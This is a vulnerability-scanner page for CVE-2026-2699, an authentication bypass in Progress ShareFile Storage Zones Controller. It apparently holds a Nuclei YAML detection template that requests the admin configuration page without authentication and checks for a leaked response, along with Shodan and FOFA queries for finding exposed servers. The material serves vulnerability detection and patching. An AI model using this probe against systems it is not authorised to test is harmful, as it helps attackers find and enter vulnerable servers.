Progress ShareFile Storage Zones Controller - Authentication Bypass
CVE-2026-2699
Verified
Description
Customer Managed ShareFile Storage Zones Controller (SZC) contains an authentication bypass (Execution After Redirect) that allows unauthenticated attackers to access restricted configuration pages. This leads to changing system configuration and potential remote code execution.
Severity
Critical
CVSS Score
9.8
Exploit Probability
42%
Affected Product
sharefile_storage_zones_controller
Published Date
April 6, 2026
Template Author
dhiyaneshdk
CVE-2026-2699.yaml
id: CVE-2026-2699
info:
name: Progress ShareFile Storage Zones Controller - Authentication Bypass
author: DhiyaneshDk
severity: critical
description: |
Customer Managed ShareFile Storage Zones Controller (SZC) contains an authentication bypass (Execution After Redirect) that allows unauthenticated attackers to access restricted configuration pages. This leads to changing system configuration and potential remote code execution.
impact: |
Unauthenticated attackers can change system configuration and potentially execute remote code, leading to full system compromise.
remediation: Update ShareFile Storage Zones Controller to version 5.12.4 or later.
reference:
- https://github.com/watchtowrlabs/watchTowr-vs-Progress-ShareFile-CVE-2026-2699
- https://labs.watchtowr.com/youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve-2026-2701/
- https://docs.sharefile.com/en-us/storage-zones-controller/5-0/security-vulnerability-feb26
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-2699
cwe-id: CWE-284
epss-score: 0.41586
epss-percentile: 0.97471
metadata:
verified: true
max-request: 1
vendor: progress
product: sharefile_storage_zones_controller
fofa-query: title=="ShareFile Storage Server"
shodan-query: title:"ShareFile Storage Server"
tags: cve,cve2026,progress,sharefile,auth-bypass
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
host-redirects: true
max-redirects: 2
matchers:
- type: word
part: body
words:
- "ShareFile Storage Server"
internal: true
- raw:
- |
GET /ConfigService/Admin.aspx HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'content_length >= 10000'
condition: and
# digest: 4a0a004730450221008f715850770456438685398d582ebe2d7f60a1ca3fad95fe4c8153d1eefc8fca02204b2a044c64a094545d048f768046e87fd1030602536bf0d623062c9dff0d1424:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-2699
CWE ID:
cwe-284
References
https://github.com/watchtowrlabs/watchTowr-vs-Progress-ShareFile-CVE-2026-2699https://labs.watchtowr.com/youre-not-supposed-to-sharefile-with-everyone-progress-sharefile-pre-auth-rce-chain-cve-2026-2699-cve-2026-2701/https://docs.sharefile.com/en-us/storage-zones-controller/5-0/security-vulnerability-feb26
Remediation Steps
Update ShareFile Storage Zones Controller to version 5.12.4 or later.